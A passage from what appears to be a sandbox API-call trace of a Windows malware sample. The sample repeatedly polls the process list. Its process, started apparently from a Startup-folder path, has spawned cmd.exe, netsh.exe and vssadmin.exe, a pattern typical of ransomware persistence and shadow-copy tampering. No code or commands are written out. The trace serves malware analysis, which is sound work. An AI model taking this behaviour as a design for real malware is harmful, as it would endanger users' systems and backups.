cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.578] GetLastError () returned 0x12 [0056.578] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.578] GetLastError () returned 0x12 [0056.578] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.579] GetLastError () returned 0x12 [0056.579] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.580] GetLastError () returned 0x12 [0056.580] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0056.580] GetLastError () returned 0x12 [0056.580] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.581] GetLastError () returned 0x12 [0056.581] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.582] GetLastError () returned 0x12 [0056.582] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.582] GetLastError () returned 0x12 [0056.583] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0056.583] GetLastError () returned 0x12 [0056.583] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0056.584] CloseHandle (hObject=0x184) returned 1 [0056.584] Sleep (dwMilliseconds=0x1f4) [0057.860] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0057.863] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.863] GetLastError () returned 0x12 [0057.863] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.864] GetLastError () returned 0x12 [0057.864] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.867] GetLastError () returned 0x12 [0057.867] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.867] GetLastError () returned 0x12 [0057.867] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.868] GetLastError () returned 0x12 [0057.868] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.869] GetLastError () returned 0x12 [0057.869] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.869] GetLastError () returned 0x12 [0057.870] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.870] GetLastError () returned 0x12 [0057.870] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.871] GetLastError () returned 0x12 [0057.871] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.872] GetLastError () returned 0x12 [0057.872] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.873] GetLastError () returned 0x12 [0057.873] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.873] GetLastError () returned 0x12 [0057.874] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.874] GetLastError () returned 0x12 [0057.874] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.875] GetLastError () returned 0x12 [0057.875] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.876] GetLastError () returned 0x12 [0057.876] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.876] GetLastError () returned 0x12 [0057.876] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.877] GetLastError () returned 0x12 [0057.877] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.878] GetLastError () returned 0x12 [0057.878] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.878] GetLastError () returned 0x12 [0057.878] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.879] GetLastError () returned 0x12 [0057.879] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.880] GetLastError () returned 0x12 [0057.880] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.881] GetLastError () returned 0x12 [0057.881] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.881] GetLastError () returned 0x12 [0057.881] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.882] GetLastError () returned 0x12 [0057.882] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.883] GetLastError () returned 0x12 [0057.883] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0057.883] GetLastError () returned 0x12 [0057.883] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0057.884] GetLastError () returned 0x12 [0057.884] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0057.885] GetLastError () returned 0x12 [0057.885] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0057.885] GetLastError () returned 0x12 [0057.885] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0057.886] GetLastError () returned 0x12 [0057.886] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0057.887] GetLastError () returned 0x12 [0057.887] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0057.888] GetLastError () returned 0x12 [0057.888] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0057.888] GetLastError () returned 0x12 [0057.888] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0057.889] GetLastError () returned 0x12 [0057.889] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0057.890] GetLastError () returned 0x12 [0057.890] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0057.890] GetLastError () returned 0x12 [0057.890] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0057.891] GetLastError () returned 0x12 [0057.891] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0057.892] GetLastError () returned 0x12 [0057.892] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0057.892] GetLastError () returned 0x12 [0057.892] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0057.893] GetLastError () returned 0x12 [0057.893] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0057.894] GetLastError () returned 0x12 [0057.894] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0057.895] GetLastError () returned 0x12 [0057.895] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0057.895] GetLastError () returned 0x12 [0057.895] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0057.896] GetLastError () returned 0x12 [0057.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0057.897] GetLastError () returned 0x12 [0057.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0057.897] GetLastError () returned 0x12 [0057.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0057.898] GetLastError () returned 0x12 [0057.898] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0058.322] GetLastError () returned 0x12 [0058.322] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.323] GetLastError () returned 0x12 [0058.323] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0058.324] GetLastError () returned 0x12 [0058.324] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0058.325] GetLastError () returned 0x12 [0058.325] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.325] GetLastError () returned 0x12 [0058.325] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.326] GetLastError () returned 0x12 [0058.326] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.327] GetLastError () returned 0x12 [0058.327] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.327] GetLastError () returned 0x12 [0058.327] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0058.328] GetLastError () returned 0x12 [0058.328] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.329] GetLastError () returned 0x12 [0058.329] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.330] GetLastError () returned 0x12 [0058.330] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.330] GetLastError () returned 0x12 [0058.330] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0058.331] GetLastError () returned 0x12 [0058.331] Process32NextW (in: hSnapshot=0x1a0, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0058.332] CloseHandle (hObject=0x1a0) returned 1 [0058.332] Sleep (dwMilliseconds=0x1f4) [0059.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc [0059.268] Process32FirstW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.268] GetLastError () returned 0x12 [0059.268] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.269] GetLastError () returned 0x12 [0059.269] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.270] GetLastError () returned 0x12 [0059.270] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | 